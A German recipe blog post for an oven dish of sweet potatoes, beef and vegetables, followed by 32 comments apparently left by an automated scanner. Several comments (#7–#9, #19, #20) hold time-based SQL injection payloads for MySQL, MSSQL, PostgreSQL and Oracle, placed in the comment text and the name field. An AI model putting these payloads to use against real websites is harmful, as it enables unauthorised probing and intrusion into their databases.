17. Januar 2017

    OFENGERICHT 

    Zutaten

    • 1kg Süßkartoffeln
    • 700g mageres Rindfleisch
    • Tomaten
    • Lauch
    • Stangenbohnen
    • Paprika
    • Gewürze nach belieben

    *reicht für 5 Personen

    Zubereitung

    Alle Zutaten in mundgerechte Stücke schneiden und auf das Backblech verteilen. Die Tomaten als Abschluss verteilen. Nun das ganze nach Belieben würzen und mit einer Alufolie abdecken.

     

    Für 1:10h bei 200° im Ofen.

     

    Viel Erfolg und lasst es euch schmecken :P,

     

    Isabella & Patrick


    Kommentar schreiben

    Kommentare: 32
    • #1

      tGhYxqFm (Sonntag, 21 August 2022 09:36)

      1

    • #2

      tGhYxqFm (Sonntag, 21 August 2022 09:38)

      1

    • #3

      tGhYxqFm (Sonntag, 21 August 2022 09:39)

      1

    • #4

      tGhYxqFm (Sonntag, 21 August 2022 09:39)

      1

    • #5

      tGhYxqFm (Sonntag, 21 August 2022 09:40)

      1

    • #6

      tGhYxqFm (Sonntag, 21 August 2022 09:40)

      1

    • #7

      tGhYxqFm (Sonntag, 21 August 2022 09:41)

      0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    • #8

      tGhYxqFm (Sonntag, 21 August 2022 09:42)

      t1J9VcZK'; waitfor delay '0:0:15' --

    • #9

      tGhYxqFm (Sonntag, 21 August 2022 09:42)

      dictRjk5' OR 32=(SELECT 32 FROM PG_SLEEP(15))--

    • #10

      tGhYxqFm (Sonntag, 21 August 2022 09:43)

      1

    • #11

      tGhYxqFm (Sonntag, 21 August 2022 09:43)

      1

    • #12

      tGhYxqFm (Sonntag, 21 August 2022 09:44)

      1

    • #13

      tGhYxqFm (Sonntag, 21 August 2022 09:44)

      1

    • #14

      tGhYxqFm (Sonntag, 21 August 2022 09:45)

      1

    • #15

      tGhYxqFm (Sonntag, 21 August 2022 09:46)

      1

    • #16

      tGhYxqFm (Sonntag, 21 August 2022 09:46)

      1

    • #17

      tGhYxqFm (Sonntag, 21 August 2022 09:47)

      1

    • #18

      tGhYxqFm (Sonntag, 21 August 2022 09:49)

      1

    • #19

      1 waitfor delay '0:0:15' -- (Sonntag, 21 August 2022 09:49)

      1

    • #20

      tGhYxqFm'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Sonntag, 21 August 2022 09:50)

      1

    • #21

      tGhYxqFm (Sonntag, 21 August 2022 09:50)

      1

    • #22

      tGhYxqFm (Sonntag, 21 August 2022 09:51)

      1

    • #23

      tGhYxqFm (Sonntag, 21 August 2022)

      1

    • #24

      tGhYxqFm (Sonntag, 21 August 2022 09:52)

      1

    • #25

      tGhYxqFm (Sonntag, 21 August 2022 09:53)

      1

    • #26

      tGhYxqFm (Sonntag, 21 August 2022 09:53)

      1

    • #27

      tGhYxqFm (Sonntag, 21 August 2022 09:54)

      1

    • #28

      tGhYxqFm (Sonntag, 21 August 2022 09:54)

      1

    • #29

      tGhYxqFm (Sonntag, 21 August 2022 09:55)

      1

    • #30

      tGhYxqFm (Sonntag, 21 August 2022 09:55)

      1

    • #31

      tGhYxqFm (Sonntag, 21 August 2022 09:56)

      1

    • #32

      tGhYxqFm (Sonntag, 21 August 2022 10:25)

      1